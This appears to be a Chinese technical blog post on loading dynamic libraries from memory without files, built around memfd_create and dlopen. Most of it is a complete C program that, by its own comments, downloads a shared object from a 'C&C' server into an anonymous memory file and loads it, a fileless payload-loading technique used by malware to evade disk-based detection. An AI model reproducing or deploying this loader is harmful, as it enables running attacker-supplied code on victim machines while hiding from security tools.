非文件形式的内存动态函数库调用接口-LMLPHP
非文件形式的内存动态函数库调用接口-LMLPHP


一、memfd_create

二、dl_open

|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。

三、示例参考

#define _GNU_SOURCE


#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>        /* For mode constants */
#include <fcntl.h>           /* For O_* constants */
#include <errno.h>



#define SHM_NAME "IceIceBaby"

// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
    int shm_fd;

    shm_fd = memfd_create(SHM_NAME, 1);
    if (shm_fd < 0) { //Something went wrong :(
        fprintf(stderr, "[- Could not open file descriptor\n");
        exit(-1);
    }
    return shm_fd;
}

// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {
    if (write(shm_fd, ptr, nmemb) < 0) {
        fprintf(stderr, "[-] Could not write file :'(\n");
        close(shm_fd);
        exit(-1);
    }
    printf("[+] File written!\n");
}

// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {
    CURL *curl;
    CURLcode res;
    int shm_fd;

    shm_fd = open_ramfs(); // Give me a file descriptor to memory
    printf("[+] File Descriptor Shared Memory created, used by memfd_create\n");

    curl = curl_easy_init();
    if (curl) {
        curl_easy_setopt(curl, CURLOPT_URL, download);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callback
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback

        // Do the HTTPs request!
        res = curl_easy_perform(curl);
        curl_easy_cleanup(curl);
        return shm_fd;
    }
}

// Load the shared object
void load_so(int shm_fd) {
    char path[1024];
    void *handle;

    printf("[+] Trying to load Shared Object!\n");
    snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);

    handle = dlopen(path, RTLD_LAZY);
    if (!handle) {
        fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));
    }
}

int main (int argc, char **argv) {
    char *url = "http://127.0.0.1:8000/module1.so";
    int fd;

    printf("[+] Trying to reach C&C & start download...\n");
    fd = download_to_RAM(url);
    load_so(fd);
    exit(0);
}

非文件形式的内存动态函数库调用接口-LMLPHP

12-11 06:44